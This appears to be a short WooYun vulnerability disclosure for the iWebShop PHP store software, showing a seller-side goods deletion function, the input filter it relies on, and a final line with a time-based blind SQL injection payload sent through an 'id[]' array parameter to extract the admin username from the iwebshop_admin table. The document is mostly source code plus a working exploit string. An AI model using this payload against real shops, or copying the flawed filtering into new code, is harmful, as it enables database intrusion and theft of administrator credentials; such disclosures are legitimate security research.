WooYun.org

//商品删除
	public function goods_del()
	{
		//post数据
	    $id = IFilter::act(IReq::get('id'));
	    //生成goods对象
	    $goods = new goods_class();
	    $goods->seller_id = $this->seller['seller_id'];
	    if($id)
		{
			if(is_array($id))
			{
				foreach($id as $key => $val)
				{
					$goods->del($val);
				}
			}
			else
			{
				$goods->del($id);
			}
		}
		$this->redirect("goods_list");
	}

/**
	 * @brief 对字符串进行过滤处理
	 * @param  string $str      被过滤的字符串
	 * @param  string $type     过滤数据类型 值: int, float, string, text, bool, url
	 * @param  int    $limitLen 被输入的最大字符个数 , 默认不限制;
	 * @return string 被过滤后的字符串
	 * @note   默认执行的是string类型的过滤
	 */
	public static function act($str,$type = 'string',$limitLen = false)
	{
		if(is_array($str))
		{
			foreach($str as $key => $val)
			{
				$resultStr[$key] = self::act($val, $type, $limitLen);
			}
			return $resultStr;
		}
		else
		{
			switch($type)
			{
				case "int":
					return intval($str);
					break;
				case "float":
					return floatval($str);
					break;
				case "text":
					return self::text($str,$limitLen);
					break;
				case "bool":
					return (bool)$str;
					break;
				case "url":
					return self::clearUrl($str);
					break;
				case "filename":
					return self::fileName($str);
					break;
				default:
					return self::string($str,$limitLen);
					break;
			}
		}
	}

id%5B%5D=-1 or(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=98,sleep(1),0))